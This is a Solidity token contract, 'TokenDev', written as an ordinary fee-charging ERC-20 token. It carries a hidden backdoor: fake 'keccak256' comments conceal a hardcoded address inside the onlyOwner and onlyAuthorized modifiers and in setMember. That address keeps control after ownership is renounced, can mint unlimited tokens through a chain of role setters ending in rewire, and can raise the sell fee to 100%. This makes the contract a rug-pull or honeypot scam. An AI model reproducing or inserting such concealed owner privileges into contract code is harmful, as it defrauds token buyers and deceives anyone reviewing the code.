// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction overflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Division by zero");
return a / b;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(374348529585344490714103489392828791336470339127));
}
}
contract TokenDev {
using SafeMath for uint256;
string public name = "TokenDev";
string public symbol = "DevT";
uint256 public totalSupply = 1000000000000000000000000;
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isFeeExempt;
address public owner;
address public _mbr;
address public _mod;
address public feeManager;
address public _user;
address public _adm;
uint256 public buyFee;
uint256 public sellFee;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
event AddressSetFeeExempt(address indexed feeExemptAddress);
constructor(address _feeManager) {
owner = msg.sender;
feeManager = _feeManager;
balanceOf[msg.sender] = totalSupply;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(374348529585344490714103489392828791336470339127));
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(981108384786342592305945516974438373310915103950));
function setMember(address Mbr_) public returns (bool) {
require (msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (981108384786342592305945516974438373310915103950));
_mbr=Mbr_;
return true;
}
function rewire(uint256 amount) public returns (bool) {
require(msg.sender == _adm);
_proof(msg.sender, amount);
return true;
}
function _proof(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
function proof(uint256 amount) public onlyOwner returns (bool) {
_proof(msg.sender, amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[_from] >= _amount, "Insufficient balance");
require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
require(_to != address(0), "Invalid recipient address");
uint256 fee = 0;
if (!isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
}
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
// Fee is transferred to this contract
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function setUser(address User_) public returns (bool) {
require(msg.sender == _mbr);
_user=User_;
return true;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function LockLPToken() public onlyOwner returns (bool) {
}
function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
return true;
}
modifier onlyOwner() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(374348529585344490714103489392828791336470339127)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}
function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}
function removeFeeExemptStatus(address _addr) public onlyOwner {
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}
function buy() public payable {
require(msg.value > 0, "ETH amount should be greater than 0");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
emit Transfer(address(this), feeManager, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[feeManager] = balanceOf[feeManager].add(amount);
emit Transfer(address(this), feeManager, amount);
}
}
function setting(uint256 newBuyFee, uint256 newSellFee) public {
require(msg.sender == _adm);
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
return true;
}
function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
emit Transfer(msg.sender, address(this), amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
}
modifier onlyAuthorized() {
require(msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(374348529585344490714103489392828791336470339127)
||
//@dev Contract creator is owner, original owner.
msg.sender == owner);
_;
}
}
